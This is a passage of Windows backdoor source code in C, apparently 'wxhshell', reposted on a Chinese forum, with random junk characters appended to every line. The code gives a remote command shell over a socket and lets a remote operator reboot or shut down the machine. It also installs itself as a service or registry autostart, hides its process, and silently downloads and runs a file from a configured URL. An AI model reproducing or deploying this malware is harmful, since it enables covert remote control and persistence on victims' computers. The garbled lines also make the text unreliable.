  else { EQw7(r|v:  
u86@zlzd  
    switch(cmd[0]) { 28c6~*Te #  
  e{XzUY6  
  // 帮助 % -+7=x  
  case '?': { 3)2{c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wf\7sz  
    break; %3"U|Za+   
  } ;mGPX~38  
  // 安装 iC>%P&|-)|  
  case 'i': { lk R^2P  
    if(Install()) Of$R+n.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V\]j^$  
    else @t*D<B$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ukc 7Z OQ  
    break; &N+`O)$  
    } ~_F;>N~  
  // 卸载 T (]*jaB  
  case 'r': { xdz 6[8 d8  
    if(Uninstall()) WU@_aw[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G%zJ4W%  
    else ^SsnCn-e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GK3T w  
    break; @,c` #,F/  
    } KK6z3"tk5  
  // 显示 wxhshell 所在路径 >msQ@Ch  
  case 'p': { V[WL S?-)  
    char svExeFile[MAX_PATH]; %W=BdGr[8z  
    strcpy(svExeFile,"\n\r"); X=lsuKREZ  
      strcat(svExeFile,ExeFile); 2i !\H$u`  
        send(wsh,svExeFile,strlen(svExeFile),0); ~ F-lO1  
    break; SXO.|"M  
    } I3'UrKKO  
  // 重启 ZitmvcMk  
  case 'b': { ~ISY( &  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZH>i2|W<  
    if(Boot(REBOOT)) T\= #y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zs-lN*u7.  
    else { | WTWj  
    closesocket(wsh); .jC5 y&  
    ExitThread(0); kt\,$.v8  
    } 261? 8&c  
    break; Oo FMOlb.Z  
    } T}29(xz-(h  
  // 关机 XZ3fWcw[  
  case 'd': { 6%:~.ZfN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?$uF(>LD  
    if(Boot(SHUTDOWN)) _Ex<VF u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w:iMrQeJg  
    else { r ?<kWR?w  
    closesocket(wsh); Gr)G-zE  
    ExitThread(0); \&ZEIAe  
    } j8PeO&n>  
    break; !>=lah$&  
    } U /~uu  
  // 获取shell SD:`l<l  
  case 's': { ^q0`eS  
    CmdShell(wsh); 4sRg+mMI  
    closesocket(wsh); }m%&|:PH  
    ExitThread(0); }A;YM1^$  
    break; F< 5kcu#iL  
  } ;T8(byH ?  
  // 退出 Z#(Y%6[u  
  case 'x': { i "X" -)#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #3{}(T7  
    CloseIt(wsh); *QI Yq  
    break; w Jp1Fl~  
    } 1LhZmv  
  // 离开 C&%NO;Ole  
  case 'q': { 9^`cVjD5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); & ,:!gYN  
    closesocket(wsh); zxD=q5in  
    WSACleanup(); *//z$la  
    exit(1); `kv7Rr}Q  
    break; SDNRcSbOD6  
        } XP:fL NpQ  
  } _*8 6  
  } C!9mygI  
#w\x-i|  
  // 提示信息 >9i>A:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7ncR2-{g  
} }LQV2 hKTG  
  } &)JoB  
\*qradgx$  
  return; ?EPHq, E  
} WS(m#WFQr  
+ @|u8+  
// shell模块句柄 W/WP }QM  
int CmdShell(SOCKET sock) !Fxn1Z,  
{ +]NpcE'  
STARTUPINFO si; W&D{0i`y  
ZeroMemory(&si,sizeof(si)); f7!48,(fB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; % WXl*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S1@r.z2L  
PROCESS_INFORMATION ProcessInfo; ,aBy1K  
char cmdline[]="cmd"; {hN<Ot  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !7Qj8YmS  
  return 0; IR:{{ (  
} I@O9bxR?  
P?c V d2Y  
// 自身启动模式 JC~4B3!  
int StartFromService(void) iC^G^~V+H  
{  YGs'[On8  
typedef struct %6^nb'l'C  
{ /YU8L  
  DWORD ExitStatus; 2Q@Jp`# ,4  
  DWORD PebBaseAddress; h8Oj E$ H  
  DWORD AffinityMask; J(maJuY  
  DWORD BasePriority; y;4g>ma0  
  ULONG UniqueProcessId; 3 Fy C D4#  
  ULONG InheritedFromUniqueProcessId; HINk&)FC  
}   PROCESS_BASIC_INFORMATION; ]q[(z  
7bRfkKD  
PROCNTQSIP NtQueryInformationProcess; l,(:~KH|  
4}cxSl]jf!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k\*?<g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n5BD0q  
t0v >J9  
  HANDLE             hProcess; 7r)]9_[(  
  PROCESS_BASIC_INFORMATION pbi; +/kOUz/]  
B B'qbX3xK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ie=gI+2  
  if(NULL == hInst ) return 0; K"5q387!  
c+T`X?.j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YRf$?xa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +oO7UWs>6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $]}K;  
;#IrHR*Bk  
  if (!NtQueryInformationProcess) return 0; Fv$w:r]q6  
Jg{K!P|i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y"KJ`Rx  
  if(!hProcess) return 0; .]zZwB  
rUyGTe(@h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0+SZ-]  
GBR$k P  
  CloseHandle(hProcess); B"#pvJN  
<|X+T,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5M #',(X  
if(hProcess==NULL) return 0; w2/3[VZ}l  
)K$xu(/K  
HMODULE hMod; hu"-dT;4]  
char procName[255]; 0`p"7!r  
unsigned long cbNeeded; ot! m=s  
&(Hw:W 9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /-^J0f+l3  
Ex*{iJ;\  
  CloseHandle(hProcess); {}iS5[H]  
u8|CeA  
if(strstr(procName,"services")) return 1; // 以服务启动 3$:F/H  
}aXSMxCd  
  return 0; // 注册表启动 ,WnZ^R/n  
} '/9MN;_  
/YJBRU2  
// 主模块 J&JZYuuf  
int StartWxhshell(LPSTR lpCmdLine) @W @,8e]c  
{ L\c3D|  
  SOCKET wsl; I5g|)Y Q  
BOOL val=TRUE; SAf)#HXa  
  int port=0; .'38^  
  struct sockaddr_in door; n <> ^cD  
#D JZ42  
  if(wscfg.ws_autoins) Install(); T<Qa`|5 >  
@]}/vsI m  
port=atoi(lpCmdLine); _Ye.29  
P0OMu/  
if(port<=0) port=wscfg.ws_port; >t'A1`W  
O&;d82IA{  
  WSADATA data; K]M@t=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T@#?{eA  
8 *{jxN'M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h <$%y(lP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N `fFYO  
  door.sin_family = AF_INET; 0L#i c61U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i1KjQ1\a+  
  door.sin_port = htons(port); <n~.X<6V'  
i`];xNR'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *kTp(*K/7`  
closesocket(wsl); #6 [F&  
return 1; p8YOow7)  
} q{b-2k  
Lr6C@pI  
  if(listen(wsl,2) == INVALID_SOCKET) { c{?SFwgd  
closesocket(wsl); 2$!,$J-<Y  
return 1; es%py~m)  
} S<'_{uz  
  Wxhshell(wsl); Q2woCx B  
  WSACleanup(); Lpkx$QZ  
#;@I.  
return 0; a$^)~2U{  
Pw7uxN`  
} 2Kr>93O  
}opMf6`w  
// 以NT服务方式启动 1|H4]!7kE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >py[g0J  
{ d^!3&y&  
DWORD   status = 0; RIO?rt;  
  DWORD   specificError = 0xfffffff; vZ$E [EG}  
VGxab;#,:3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .j|uf[?h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /Qef[$!(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @H+L1H%9n  
  serviceStatus.dwWin32ExitCode     = 0; 9(z) ^ G  
  serviceStatus.dwServiceSpecificExitCode = 0; [E6ceX0  
  serviceStatus.dwCheckPoint       = 0; Yjd/  
  serviceStatus.dwWaitHint       = 0; _G.!^+)kEm  
Ef ?|0Gm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lVd-{m)  
  if (hServiceStatusHandle==0) return; Lz-|M?(  
!hS)W7!ik  
status = GetLastError(); OU#p^ 5K  
  if (status!=NO_ERROR) WDV=]D/OE  
{ 6d/v%-3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +s;Vfc$b]H  
    serviceStatus.dwCheckPoint       = 0; xWK/uE(  
    serviceStatus.dwWaitHint       = 0; kz6fU\U  
    serviceStatus.dwWin32ExitCode     = status; 5ZH3}B^L$  
    serviceStatus.dwServiceSpecificExitCode = specificError; {^uiu^RAc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 34k>O  
    return; $9r4MMs{$  
  } % a.T@E  
kZrc^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; } snS~kx  
  serviceStatus.dwCheckPoint       = 0; z\8s |!  
  serviceStatus.dwWaitHint       = 0; o:3(J}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >BK/HuS  
} kw gLK@@%1  
`VUJW]wGu  
// 处理NT服务事件,比如:启动、停止 2  @T~VRy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #G`K<%{?f  
{ 5VQ-D`kE+  
switch(fdwControl) H8dS]N~[Y  
{ :i0;jWc b  
case SERVICE_CONTROL_STOP: W+U0Y,N6  
  serviceStatus.dwWin32ExitCode = 0; }gt)cOaY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g"m9[R=]6  
  serviceStatus.dwCheckPoint   = 0; &HAu;u@  
  serviceStatus.dwWaitHint     = 0; JXq!v:w6  
  { ~jHuJ` ]DF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N81M9#,["~  
  } "X;5* 4+  
  return; Kr1Y3[iNv  
case SERVICE_CONTROL_PAUSE: oz,.gP%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Buh}+n2]5  
  break; !]D`|HoW  
case SERVICE_CONTROL_CONTINUE: UQ7]hX9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; In1n.oRFn^  
  break; R4JfH  
case SERVICE_CONTROL_INTERROGATE: WvfM.D!  
  break; Kn=EDtg  
}; .j^BWr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T{m) = (q  
} $0un`&W  
S ~fz  
// 标准应用程序主函数 =2=rPZw9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yZgWFf.X  
{ EStui>ho  
xDH#K0-#L  
// 获取操作系统版本 j3N d4#  
OsIsNt=GetOsVer(); N|>JLZ>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .QZjJ9pvK  
B]()  
  // 从命令行安装 #>,E"-]f  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6aHD?a o  
-\;0gnf{J  
  // 下载执行文件 t0@AfO.'1  
if(wscfg.ws_downexe) { (U# Oj"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5p:BHw;%;  
  WinExec(wscfg.ws_filenam,SW_HIDE); IpSWg  
} kN{$-v=K  
ISK 8t  
if(!OsIsNt) { h!|Uj  
// 如果时win9x,隐藏进程并且设置为注册表启动 r<:d+5"  
HideProc(); uP r!;'J=  
StartWxhshell(lpCmdLine); U$+,|\9  
} ;s3\Z^h4kd  
else eiyr^Sch.  
  if(StartFromService()) 1j op;{,^  
  // 以服务方式启动 } S]!W\a  
  StartServiceCtrlDispatcher(DispatchTable); jn(!6\n"  
else : #?_4D!r  
  // 普通方式启动 ~"J1 @<  
  StartWxhshell(lpCmdLine); e`LkCy[_  
c(2?./\|  
return 0; 'bSWJ/;p)  
}
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只看该作者 1 发表于: 2006-10-10
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